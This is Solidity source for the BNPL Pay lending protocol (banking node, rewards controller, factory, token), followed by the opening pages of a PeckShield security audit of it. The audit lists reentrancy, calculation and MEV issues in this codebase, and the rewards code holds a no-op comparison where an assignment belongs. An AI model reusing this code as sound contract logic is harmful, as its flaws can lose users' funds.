0) { //Step 3a. load local variables address _collateral = loan.collateral; //Step 3b. update the colleral owed and loan amounts collateralOwed[_collateral] -= _collateralPosted; loan.collateralAmount = 0; //Step 3c. withdraw collateral from aave _withdrawFromLendingPool( _collateral, _collateralPosted, address(this) ); //Step 3d. sell collateral for baseToken baseTokenOut = _swapToken( _collateral, _baseToken, minOut, _collateralPosted ); //Step 3e. deposit the recovered baseTokens to aave _depositToLendingPool(_baseToken, baseTokenOut); } //Step 4. calculate the amount to be slashed uint256 principalLost = loan.principalRemaining; //Check if there was a full recovery for the loan, if so if (baseTokenOut >= principalLost) { //return excess to the lender (if any) _withdrawFromLendingPool( _baseToken, baseTokenOut - principalLost, loan.borrower ); } //slash loan only if losses are greater than recovered else { principalLost -= baseTokenOut; //safe div: principal > 0 => totalassetvalue > 0 uint256 slashPercent = (1e12 * principalLost) / getTotalAssetValue(); uint256 unbondingSlash = (unbondingAmount * slashPercent) / 1e12; uint256 stakingSlash = (getStakedBNPL() * slashPercent) / 1e12; //Step 5. deduct slashed from respective balances accountsReceiveable -= principalLost; slashingBalance += unbondingSlash + stakingSlash; unbondingAmount -= unbondingSlash; } //Step 6. remove loan from currentLoans and add to defaulted loans defaultedLoans[defaultedLoanCount] = loanId; defaultedLoanCount++; loan.isSlashed = true; _removeCurrentLoan(loanId); emit loanSlashed(loanId); } /** * Sell the slashing balance of BNPL to give to lenders as <aBaseToken> * Slashing sale moved to seperate function to simplify logic with minOut */ function sellSlashed(uint256 minOut) external { //Step 1. load local variables address _baseToken = baseToken; address _bnpl = BNPL; uint256 _slashingBalance = slashingBalance; //Step 2. check there is a balance to sell if (_slashingBalance == 0) { revert ZeroInput(); } //Step 3. sell the slashed BNPL for baseToken uint256 baseTokenOut = _swapToken( _bnpl, _baseToken, minOut, _slashingBalance ); //Step 4. deposit baseToken received to aave and update slashing balance slashingBalance = 0; _depositToLendingPool(_baseToken, baseTokenOut); emit slashingSale(_slashingBalance, baseTokenOut); } /** * Donate baseToken for when debt is collected post default * BNPL can be donated by simply sending it to the contract */ function donateBaseToken(uint256 _amount) external nonZeroInput(_amount) { //Step 1. load local variables address _baseToken = baseToken; //Step 2. collect the baseTokens TransferHelper.safeTransferFrom( _baseToken, msg.sender, address(this), _amount ); //Step 3. deposit baseToken to aave _depositToLendingPool(_baseToken, _amount); emit baseTokensDonated(_amount); } //OPERATOR ONLY FUNCTIONS /** * Approve a pending loan request * Ensures collateral amount has been posted to prevent front run withdrawal */ function approveLoan(uint256 loanId, uint256 requiredCollateralAmount) external operatorOnly { Loan storage loan = idToLoan[loanId]; uint256 length = pendingRequests.length; uint256 loanSize = loan.loanAmount; address _baseToken = baseToken; if (getBNPLBalance(operator) < 0x13DA329B6336471800000) { revert NodeInactive(); } //ensure the loan was never started and collateral enough if (loan.loanStartTime > 0) { revert LoanAlreadyStarted(); } if (loan.collateralAmount < requiredCollateralAmount) { revert InsufficientCollateral(); } //remove from loanRequests and add loan to current loans for (uint256 i = 0; i < length; i++) { if (loanId == pendingRequests[i]) { pendingRequests[i] = pendingRequests[length - 1]; pendingRequests.pop(); break; } } currentLoans.push(loanId); //add the principal remaining and start the loan loan.principalRemaining = loanSize; loan.loanStartTime = block.timestamp; accountsReceiveable += loanSize; //send the funds and update accounts (minus 0.5% origination fee) _withdrawFromLendingPool( _baseToken, (loanSize * 199) / 200, loan.borrower ); //send the 0.25% origination fee to treasury and agent _withdrawFromLendingPool(_baseToken, loanSize / 400, treasury); _withdrawFromLendingPool( _baseToken, loanSize / 400, loanToAgent[loanId] ); emit approvedLoan(loanId); } /** * Used to reject all current pending loan requests */ function clearPendingLoans() external operatorOnly { pendingRequests = new uint256[](0); } /** * Whitelist or delist a given list of addresses * Only relevant on KYC nodes */ function whitelistAddresses( address[] memory whitelistAddition, bool _status ) external operatorOnly { uint256 length = whitelistAddition.length; for (uint256 i; i < length; i++) { address newWhistelist = whitelistAddition[i]; whitelistedAddresses[newWhistelist] = _status; } } /** * Updates the KYC Status of a node */ function setKYC(bool _newStatus) external operatorOnly { requireKYC = _newStatus; emit KYCRequirementChanged(_newStatus); } //PRIVATE FUNCTIONS /** * Deposit token onto AAVE lending pool, receiving aTokens in return */ function _depositToLendingPool(address tokenIn, uint256 amountIn) private { address _lendingPool = address(_getLendingPool()); TransferHelper.safeApprove(tokenIn, _lendingPool, 0); TransferHelper.safeApprove(tokenIn, _lendingPool, amountIn); _getLendingPool().deposit(tokenIn, amountIn, address(this), 0); } /** * Withdraw token from AAVE lending pool, converting from aTokens to ERC20 equiv */ function _withdrawFromLendingPool( address tokenOut, uint256 amountOut, address to ) private nonZeroInput(amountOut) { _getLendingPool().withdraw(tokenOut, amountOut, to); } /** * Get the latest AAVE Lending Pool contract */ function _getLendingPool() private view returns (ILendingPool) { return ILendingPool(lendingPoolProvider.getLendingPool()); } /** * Remove given loan from current loan list */ function _removeCurrentLoan(uint256 loanId) private { for (uint256 i = 0; i < currentLoans.length; i++) { if (loanId == currentLoans[i]) { currentLoans[i] = currentLoans[currentLoans.length - 1]; currentLoans.pop(); return; } } } /** * Swaps given token, with path of length 3, tokenIn => WETH => tokenOut * Uses Sushiswap pairs only * Ensures slippage with minOut */ function _swapToken( address tokenIn, address tokenOut, uint256 minOut, uint256 amountIn ) private returns (uint256 tokenOutput) { if (amountIn == 0) { revert ZeroInput(); } //Step 1. load data to local variables address _uniswapFactory = uniswapFactory; address _weth = WETH; address pair1 = UniswapV2Library.pairFor( _uniswapFactory, tokenIn, _weth ); address pair2 = UniswapV2Library.pairFor( _uniswapFactory, _weth, tokenOut ); //if tokenIn = weth, only need to swap with pair2 with amountIn as input if (tokenIn == _weth) { pair1 = pair2; tokenOutput = amountIn; } //Step 2. transfer the tokens to first pair (pair 2 if tokenIn == weth) TransferHelper.safeTransfer(tokenIn, pair1, amountIn); //Step 3. Swap tokenIn to WETH (only if tokenIn != weth) if (tokenIn != _weth) { tokenOutput = _swap(tokenIn, _weth, amountIn, pair1, pair2); } //Step 4. Swap ETH for tokenOut tokenOutput = _swap(_weth, tokenOut, tokenOutput, pair2, address(this)); //Step 5. Check slippage parameters if (minOut > tokenOutput) { revert InsufficentOutput(); } } /** * Helper function for _swapToken * Modified from uniswap router to save gas, makes a single trade * with uniswap pair without needing address[] path or uit256[] amounts */ function _swap( address tokenIn, address tokenOut, uint256 amountIn, address pair, address to ) private returns (uint256 tokenOutput) { address _uniswapFactory = uniswapFactory; //Step 1. get the reserves of each token (uint256 reserveIn, uint256 reserveOut) = UniswapV2Library.getReserves( _uniswapFactory, tokenIn, tokenOut ); //Step 2. get the tokens that will be received tokenOutput = UniswapV2Library.getAmountOut( amountIn, reserveIn, reserveOut ); //Step 3. sort the tokens to pass IUniswapV2Pair (address token0, ) = UniswapV2Library.sortTokens(tokenIn, tokenOut); (uint256 amount0Out, uint256 amount1Out) = tokenIn == token0 ? (uint256(0), tokenOutput) : (tokenOutput, uint256(0)); //Step 4. make the trade IUniswapV2Pair(pair).swap(amount0Out, amount1Out, to, new bytes(0)); } //VIEW ONLY FUNCTIONS /** * Get the total BNPL in the staking account * Given by (total BNPL of node) - (unbonding balance) - (slashing balance) */ function getStakedBNPL() public view returns (uint256) { return IERC20(BNPL).balanceOf(address(this)) - unbondingAmount - slashingBalance; } /** * Gets the given users balance in baseToken */ function getBaseTokenBalance(address user) public view returns (uint256) { uint256 _balance = balanceOf(user); if (totalSupply() == 0) { return 0; } return (_balance * getTotalAssetValue()) / totalSupply(); } /** * Get the value of the BNPL staked by user * Given by (user's shares) * (total BNPL staked) / (total number of shares) */ function getBNPLBalance(address user) public view returns (uint256 what) { uint256 _balance = stakingShares[user]; uint256 _totalStakingShares = totalStakingShares; if (_totalStakingShares == 0) { what = 0; } else { what = (_balance * getStakedBNPL()) / _totalStakingShares; } } /** * Get the amount a user has that is being unbonded * Given by (user's unbonding shares) * (total unbonding BNPL) / (total unbonding shares) */ function getUnbondingBalance(address user) external view returns (uint256) { uint256 _totalUnbondingShares = totalUnbondingShares; uint256 _userUnbondingShare = unbondingShares[user]; if (_totalUnbondingShares == 0) { return 0; } return (_userUnbondingShare * unbondingAmount) / _totalUnbondingShares; } /** * Gets the next payment amount due * If loan is completed or not approved, returns 0 */ function getNextPayment(uint256 loanId) public view returns (uint256) { //if loan is completed or not approved, return 0 Loan storage loan = idToLoan[loanId]; if (loan.principalRemaining == 0) { return 0; } uint256 _interestRate = loan.interestRate; uint256 _loanAmount = loan.loanAmount; uint256 _numberOfPayments = loan.numberOfPayments; //check if it is an interest only loan if (loan.interestOnly) { //check if its the final payment if (loan.paymentsMade + 1 == _numberOfPayments) { //if final payment, then principal + final interest amount return _loanAmount + ((_loanAmount * _interestRate) / 10000); } else { //if not final payment, simple interest amount return (_loanAmount * _interestRate) / 10000; } } else { //principal + interest payments, payment given by the formula: //p : principal //i : interest rate per period //d : duration // p * (i * (1+i) ** d) / ((1+i) ** d - 1) uint256 numerator = _loanAmount * _interestRate * (10000 + _interestRate)**_numberOfPayments; uint256 denominator = (10000 + _interestRate)**_numberOfPayments - (10**(4 * _numberOfPayments)); return numerator / (denominator * 10000); } } /** * Gets the next due date (unix timestamp) of a given loan * Returns 0 if loan is not a current loan or loan has already been paid */ function getNextDueDate(uint256 loanId) public view returns (uint256) { //check that the loan has been approved and loan is not completed; Loan storage loan = idToLoan[loanId]; if (loan.principalRemaining == 0) { return 0; } return loan.loanStartTime + ((loan.paymentsMade + 1) * loan.paymentInterval); } /** * Get the total assets (accounts receivable + aToken balance) * Only principal owed is counted as accounts receivable */ function getTotalAssetValue() public view returns (uint256) { return IERC20(_getLendingPool().getReserveData(baseToken).aTokenAddress) .balanceOf(address(this)) + accountsReceiveable; } /** * Get number of pending requests */ function getPendingRequestCount() external view returns (uint256) { return pendingRequests.length; } /** * Get the current number of active loans */ function getCurrentLoansCount() external view returns (uint256) { return currentLoans.length; } /** * Get the total Losses occurred */ function getTotalDefaultLoss() external view returns (uint256) { uint256 totalLosses = 0; for (uint256 i; i < defaultedLoanCount; i++) { Loan storage loan = idToLoan[defaultedLoans[i]]; totalLosses += loan.principalRemaining; } return totalLosses; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./BNPLFactory.sol"; import "./interfaces/IBankingNode.sol"; error InvalidToken(); error InsufficientUserBalance(uint256 userBalance); error PoolExists(); error RewardsCannotIncrease(); /** * Modified version of Sushiswap MasterChef.sol contract * - Migrator functionality removed * - Uses timestamp instead of block number * - Adding LP token is public instead of onlyOwner, but requires the LP token to be saved to bnplFactory * - Alloc points are based on amount of BNPL staked to the node * - Minting functions for BNPL not possible, they are transfered from treasury instead * - Removed safeMath as using solidity ^0.8.0 * - Require checks changed to custom errors to save gas */ contract BNPLRewardsController is Ownable { BNPLFactory public immutable bnplFactory; mapping(uint256 => mapping(address => UserInfo)) public userInfo; address public immutable bnpl; address public treasury; uint256 public bnplPerSecond; //initiated to uint256 public immutable startTime; //unix time of start uint256 public endTime; //3 years of emmisions uint256 public totalAllocPoint = 0; //total allocation points, no need for max alloc points as max is the supply of BNPL PoolInfo[] public poolInfo; struct UserInfo { uint256 amount; uint256 rewardDebt; } struct PoolInfo { IBankingNode lpToken; //changed from IERC20 uint256 allocPoint; uint256 lastRewardTime; uint256 accBnplPerShare; } //EVENTS event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( BNPLFactory _bnplFactory, address _bnpl, address _treasury, uint256 _startTime ) { bnplFactory = _bnplFactory; startTime = _startTime; endTime = _startTime + 94608000; //94,608,000 seconds in 3 years bnpl = _bnpl; treasury = _treasury; bnplPerSecond = 4492220531033316000; //425,000,000 BNPL to be distributed over 3 years = ~4.49 BNPL per second } //STATE CHANGING FUNCTIONS /** * Add a pool to be allocated rewards * Modified from MasterChef to be public, but requires the pool to be saved in BNPL Factory * _allocPoints to be based on the number of bnpl staked in the given node */ function add(IBankingNode _lpToken) public { checkValidNode(address(_lpToken)); massUpdatePools(); uint256 _allocPoint = _lpToken.getStakedBNPL(); checkForDuplicate(_lpToken); uint256 lastRewardTime = block.timestamp > startTime ? block.timestamp : startTime; totalAllocPoint += _allocPoint; poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardTime: lastRewardTime, accBnplPerShare: 0 }) ); } /** * Update the given pool's bnpl allocation point, changed from Masterchef to be: * - Public, but sets _allocPoints to the number of bnpl staked to a node */ function set(uint256 _pid) external { //get the new _allocPoints uint256 _allocPoint = poolInfo[_pid].lpToken.getStakedBNPL(); massUpdatePools(); totalAllocPoint = totalAllocPoint + _allocPoint - poolInfo[_pid].allocPoint; poolInfo[_pid].allocPoint = _allocPoint; } /** * Update reward variables for all pools */ function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } /** * Update reward variables for a pool given pool to be up-to-date */ function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.timestamp <= pool.lastRewardTime) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardTime == block.timestamp; return; } uint256 multiplier = getMultiplier( pool.lastRewardTime, block.timestamp ); uint256 bnplReward = (multiplier * bnplPerSecond * pool.allocPoint) / totalAllocPoint; //instead of minting, simply transfers the tokens from the owner //ensure owner has approved the tokens to the contract address _bnpl = bnpl; address _treasury = treasury; TransferHelper.safeTransferFrom( _bnpl, _treasury, address(this), bnplReward ); pool.accBnplPerShare += (bnplReward * 1e12) / lpSupply; pool.lastRewardTime = block.timestamp; } /** * Deposit LP tokens from the user */ function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = ((user.amount * pool.accBnplPerShare) / 1e12) - user.rewardDebt; user.amount += _amount; user.rewardDebt = (user.amount * pool.accBnplPerShare) / 1e12; if (pending > 0) { safeBnplTransfer(msg.sender, pending); } TransferHelper.safeTransferFrom( address(pool.lpToken), msg.sender, address(this), _amount ); emit Deposit(msg.sender, _pid, _amount); } /** * Withdraw LP tokens from the user */ function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; if (_amount > user.amount) { revert InsufficientUserBalance(user.amount); } updatePool(_pid); uint256 pending = ((user.amount * pool.accBnplPerShare) / 1e12) - user.rewardDebt; user.amount -= _amount; user.rewardDebt = (user.amount * pool.accBnplPerShare) / 1e12; if (pending > 0) { safeBnplTransfer(msg.sender, pending); } TransferHelper.safeTransfer(address(pool.lpToken), msg.sender, _amount); emit Withdraw(msg.sender, _pid, _amount); } /** * Withdraw without caring about rewards. EMERGENCY ONLY. */ function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 oldUserAmount = user.amount; user.amount = 0; user.rewardDebt = 0; TransferHelper.safeTransfer( address(pool.lpToken), msg.sender, oldUserAmount ); emit EmergencyWithdraw(msg.sender, _pid, oldUserAmount); } /** * Safe BNPL transfer function, just in case if rounding error causes pool to not have enough BNPL. */ function safeBnplTransfer(address _to, uint256 _amount) internal { address _bnpl = bnpl; uint256 bnplBalance = IERC20(_bnpl).balanceOf(address(this)); if (_amount > bnplBalance) { TransferHelper.safeTransfer(_bnpl, _to, bnplBalance); } else { TransferHelper.safeTransfer(_bnpl, _to, _amount); } } //OWNER ONLY FUNCTIONS /** * Update the BNPL per second emmisions, emmisions can only be decreased */ function updateRewards(uint256 _bnplPerSecond) public onlyOwner { if (_bnplPerSecond > bnplPerSecond) { revert RewardsCannotIncrease(); } bnplPerSecond = _bnplPerSecond; massUpdatePools(); } /** * Update the treasury address that bnpl is transfered from */ function updateTreasury(address _treasury) public onlyOwner { treasury = _treasury; } //VIEW FUNCTIONS /** * Return reward multiplier over the given _from to _to timestamps */ function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { //get the start time to be minimum _from = _from > startTime ? _from : startTime; if (_to < startTime || _from >= endTime) { return 0; } else if (_to <= endTime) { return _to - _from; } else { return endTime - _from; } } /** * Get the number of pools */ function poolLength() external view returns (uint256) { return poolInfo.length; } /** * Check if the pool already exists */ function checkForDuplicate(IBankingNode _lpToken) internal view { for (uint256 i = 0; i < poolInfo.length; i++) { if (poolInfo[i].lpToken == _lpToken) { revert PoolExists(); } } } /** * View function to get the pending bnpl to harvest * Modifed by removing safe math */ function pendingBnpl(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accBnplPerShare = pool.accBnplPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.timestamp > pool.lastRewardTime && lpSupply != 0) { uint256 multiplier = getMultiplier( pool.lastRewardTime, block.timestamp ); uint256 bnplReward = (multiplier * bnplPerSecond * pool.allocPoint) / totalAllocPoint; accBnplPerShare += (bnplReward * 1e12) / lpSupply; } return (user.amount * accBnplPerShare) / (1e12) - user.rewardDebt; } /** * Checks if a given address is a valid banking node registered * Reverts with InvalidToken() if node not found */ function checkValidNode(address _bankingNode) private view { BNPLFactory _bnplFactory = bnplFactory; uint256 length = _bnplFactory.bankingNodeCount(); for (uint256 i; i < length; i++) { if (_bnplFactory.bankingNodesList(i) == _bankingNode) { return; } } revert InvalidToken(); } /** * Get the Apy for front end for a given pool * - assumes rewards are active * - assumes poolTokens have $1 value * - must multiply by BNPL price / 1e18 to get USD APR * If return == 0, APR = NaN */ function getBnplApr(uint256 _pid) external view returns (uint256 bnplApr) { PoolInfo storage pool = poolInfo[_pid]; uint256 lpBalanceStaked = pool.lpToken.balanceOf(address(this)); if (lpBalanceStaked == 0) { bnplApr = 0; } else { uint256 poolBnplPerYear = (bnplPerSecond * pool.allocPoint * 31536000) / totalAllocPoint; //31536000 seconds in a year bnplApr = (poolBnplPerYear * 1e18) / lpBalanceStaked; } } /** * Helper function for front end * Get the pid+1 given a node address * Returns 0xFFFF if node not found */ function getPid(address node) external view returns (uint256) { for (uint256 i; i < poolInfo.length; ++i) { if (address(poolInfo[i].lpToken) == node) { return i; } } return 0xFFFF; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts-upgradeable/contracts/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/contracts/access/OwnableUpgradeable.sol"; import "./BankingNode.sol"; import "./libraries/TransferHelper.sol"; //CUSTOM ERRORS //occurs when trying to create a node without a whitelisted baseToken error InvalidBaseToken(); //occurs when a user tries to set up a second node from same account error OneNodePerAccountOnly(); /** * @dev this is a demo contract. It is identical to BNPLFactory, except the function thisIsANewFunction(). * The only purpose of this is to demostrate via tests that the BNPLFactory contract is upgradeable. */ contract BNPLFactoryDEMO is Initializable, OwnableUpgradeable { mapping(address => address) public operatorToNode; address[] public bankingNodesList; address public BNPL; address public lendingPoolAddressesProvider; address public WETH; address public uniswapFactory; mapping(address => bool) public approvedBaseTokens; address public aaveDistributionController; uint iDontExistInOriginalContract; event NewNode(address indexed _operator, address indexed _node); /** * Upgradeable contracts uses an initializer function instead of a constructor * Reference: https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable#initializers */ function initialize( address _BNPL, address _lendingPoolAddressesProvider, address _WETH, address _aaveDistributionController, address _uniswapFactory ) public initializer { __Ownable_init(); BNPL = _BNPL; lendingPoolAddressesProvider = _lendingPoolAddressesProvider; WETH = _WETH; aaveDistributionController = _aaveDistributionController; uniswapFactory = _uniswapFactory; } //STATE CHANGING FUNCTIONS /** * Creates a new banking node */ function createNewNode( address _baseToken, bool _requireKYC, uint256 _gracePeriod ) external returns (address node) { //collect the 2M BNPL uint256 bondAmount = 0x1A784379D99DB42000000; //2M BNPL to bond a node address _bnpl = BNPL; TransferHelper.safeTransferFrom( _bnpl, msg.sender, address(this), bondAmount ); //one node per operator and base token must be approved if (!approvedBaseTokens[_baseToken]) { revert InvalidBaseToken(); } if (operatorToNode[msg.sender] != address(0)) { revert OneNodePerAccountOnly(); } //create a new node bytes memory bytecode = type(BankingNode).creationCode; bytes32 salt = keccak256( abi.encodePacked(_baseToken, _requireKYC, _gracePeriod, msg.sender) ); assembly { node := create2(0, add(bytecode, 32), mload(bytecode), salt) } BankingNode(node).initialize( _baseToken, _bnpl, _requireKYC, msg.sender, _gracePeriod, lendingPoolAddressesProvider, WETH, aaveDistributionController, uniswapFactory ); bankingNodesList.push(node); operatorToNode[msg.sender] = node; TransferHelper.safeApprove(_bnpl, node, bondAmount); BankingNode(node).stake(bondAmount); } //ONLY OWNER FUNCTIONS /** * Whitelist or Delist a base token for banking nodes(e.g. USDC) */ function whitelistToken(address _baseToken, bool _status) external onlyOwner { if (_baseToken == BNPL) { revert InvalidBaseToken(); } approvedBaseTokens[_baseToken] = _status; } /** * Get number of current nodes */ function bankingNodeCount() external view returns (uint256) { return bankingNodesList.length; } /** * @dev Used to demonstrate that the factory can be upgraded, as this function does not exist in the original implementation */ function thisIsANewFunction(uint256 value) public { iDontExistInOriginalContract = value; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract BNPLToken is ERC20, AccessControl { constructor() ERC20("BNPL", "BNPL") { _mint(msg.sender, 100000000 * (10**18)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts-upgradeable/contracts/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/contracts/access/OwnableUpgradeable.sol"; import "./BankingNode.sol"; import "./libraries/TransferHelper.sol"; //CUSTOM ERRORS //occurs when trying to create a node without a whitelisted baseToken error InvalidBaseToken(); //occurs when a user tries to set up a second node from same account error OneNodePerAccountOnly(); contract BNPLFactory is Initializable, OwnableUpgradeable { mapping(address => address) public operatorToNode; address[] public bankingNodesList; address public BNPL; address public lendingPoolAddressesProvider; address public WETH; address public uniswapFactory; mapping(address => bool) public approvedBaseTokens; address public aaveDistributionController; event NewNode(address indexed _operator, address indexed _node); /** * Upgradeable contracts uses an initializer function instead of a constructor * Reference: https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable#initializers */ function initialize( address _BNPL, address _lendingPoolAddressesProvider, address _WETH, address _aaveDistributionController, address _uniswapFactory ) public initializer { __Ownable_init(); BNPL = _BNPL; lendingPoolAddressesProvider = _lendingPoolAddressesProvider; WETH = _WETH; aaveDistributionController = _aaveDistributionController; uniswapFactory = _uniswapFactory; } //STATE CHANGING FUNCTIONS /** * Creates a new banking node */ function createNewNode( address _baseToken, bool _requireKYC, uint256 _gracePeriod ) external returns (address node) { //collect the 2M BNPL uint256 bondAmount = 0x1A784379D99DB42000000; //2M BNPL to bond a node address _bnpl = BNPL; TransferHelper.safeTransferFrom( _bnpl, msg.sender, address(this), bondAmount ); //one node per operator and base token must be approved if (!approvedBaseTokens[_baseToken]) { revert InvalidBaseToken(); } if (operatorToNode[msg.sender] != address(0)) { revert OneNodePerAccountOnly(); } //create a new node bytes memory bytecode = type(BankingNode).creationCode; bytes32 salt = keccak256( abi.encodePacked(_baseToken, _requireKYC, _gracePeriod, msg.sender) ); assembly { node := create2(0, add(bytecode, 32), mload(bytecode), salt) } BankingNode(node).initialize( _baseToken, _bnpl, _requireKYC, msg.sender, _gracePeriod, lendingPoolAddressesProvider, WETH, aaveDistributionController, uniswapFactory ); bankingNodesList.push(node); operatorToNode[msg.sender] = node; TransferHelper.safeApprove(_bnpl, node, bondAmount); BankingNode(node).stake(bondAmount); } //ONLY OWNER FUNCTIONS /** * Whitelist or Delist a base token for banking nodes(e.g. USDC) */ function whitelistToken(address _baseToken, bool _status) external onlyOwner { if (_baseToken == BNPL) { revert InvalidBaseToken(); } approvedBaseTokens[_baseToken] = _status; } /** * Get number of current nodes */ function bankingNodeCount() external view returns (uint256) { return bankingNodesList.length; } }
Public SMART CONTRACT AUDIT REPORT for BNPL Pay Prepared By: Xiaomi Huang Hangzhou, China May 16, 2022 1/25 PeckShield Audit Report #: 2022-097Public Document Properties Client BNPL Title Smart Contract Audit Report Target BNPL Pay Version 1.0 Author Jing Wang Auditors Jing Wang, Xuxian Jiang Reviewed by Xiaomi Huang Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.0 May 16, 2022 Jing Wang Final Release 1.0-rc March 16, 2022 Jing Wang Release Candidate Contact For more information about this document and its contents, please contact PeckShield Inc. Name Xiaomi Huang Phone +86 183 5897 7782 Email contact@peckshield.com 2/25 PeckShield Audit Report #: 2022-097Public Contents 1 Introduction 4 1.1 About BNPL Pay . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2 Findings 9 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3 Detailed Results 11 3.1 Improved Logic of Calculation For principalLost Amount . . . . . . . . . . . . . . . . 11 3.2 Proper Handling Of totalUnbondingShares Calculation . . . . . . . . . . . . . . . . . 12 3.3 Reentrancy Risk in BankingNode . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 3.4 Possible Costly LPs From Improper BankingNode Initialization . . . . . . . . . . . . 15 3.5 Accommodation of approve() Idiosyncrasies . . . . . . . . . . . . . . . . . . . . . . 17 3.6 Incompatibility with Deflationary Tokens . . . . . . . . . . . . . . . . . . . . . . . . 18 3.7 Possible Sandwich/MEV Attacks For Reduced Returns . . . . . . . . . . . . . . . . 21 4 Conclusion 23 References 24 3/25 PeckShield Audit Report #: 2022-097Public 1 | Introduction Giventheopportunitytoreviewthe BNPL Paydesigndocumentandrelatedsmartcontractsourcecode, we outline in the report our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given branch of BNPL Pay can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results. 1.1 About BNPL Pay BNPL Pay is a decentralized finance protocol which aims to create a unique uncollateralized lending platform. The protocol allows users to borrow funds through its system of distributed P2Plenders run natively on the Ethereum blockchain. There are four key stakeholders within the BNPL Pay ecosystem including Banking Nodes ,Lenders,Borrowers , and Token Stakers . The basic information of the audited protocol is as follows: Table 1.1: Basic Information of BNPL Pay ItemDescription NameBNPL TypeSmart Contract Platform Solidity Audit Method Whitebox Latest Audit Report May 16, 2022 In the following, we show the Git repository of reviewed files and the commit hash value used in this audit. •https://github.com/BNPLPayTech/BNPL.git (57f2d99) And this is the commit ID after all fixes for the issues found in the audit have been checked in: 4/25 PeckShield Audit Report #: 2022-097Public •https://github.com/BNPLPayTech/BNPL.git (c01128a) 1.2 About PeckShield PeckShield Inc. [13] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [12]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. Likelihood and impact are categorized into three ratings: H,MandL, i.e., high,mediumand lowrespectively. Severity is determined by likelihood and impact and can be classified into four categories accordingly, i.e., Critical,High,Medium,Lowshown in Table 1.2. To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the contract is considered safe regarding the check item. For any discovered issue, we might further 5/25 PeckShield Audit Report #: 2022-097Public Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 6/25 PeckShield Audit Report #: 2022-097Public deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- 